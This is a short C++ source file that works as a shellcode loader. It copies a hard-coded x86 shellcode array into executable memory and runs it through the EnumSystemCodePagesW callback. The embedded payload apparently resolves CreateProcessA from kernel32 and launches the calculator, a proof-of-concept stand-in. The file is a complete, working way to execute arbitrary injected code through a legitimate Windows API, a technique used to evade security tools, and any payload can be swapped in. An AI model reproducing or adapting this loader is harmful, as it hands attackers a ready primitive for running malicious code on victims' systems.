EnumSystemCodePagesW.cpp

//#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
using namespace std;

// Create a string with last error message
std::string GetLastErrorStdStr()
{
    DWORD error = GetLastError();
    if (error)
    {
        LPVOID lpMsgBuf;
        DWORD bufLen = FormatMessage(
            FORMAT_MESSAGE_ALLOCATE_BUFFER |
            FORMAT_MESSAGE_FROM_SYSTEM |
            FORMAT_MESSAGE_IGNORE_INSERTS,
            NULL,
            error,
            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
            (LPTSTR)&lpMsgBuf,
            0, NULL);
        if (bufLen)
        {
            LPCSTR lpMsgStr = (LPCSTR)lpMsgBuf;
            std::string result(lpMsgStr, lpMsgStr + bufLen);

            LocalFree(lpMsgBuf);

            return result;
        }
    }
    return std::string();
}


int main()
{
    
    char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
        "\x45\x81\x3e\x43\x72\x65\x61\x75"
        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
        "\x6c\x63\x89\xe2\x52\x52\x53\x53"
        "\x53\x53\x53\x53\x52\x53\xff\xd7";

    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));

    EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)hAlloc, CP_INSTALLED);
    printf(GetLastErrorStdStr().c_str());
    

    VirtualFree(hAlloc,0, MEM_RELEASE);
}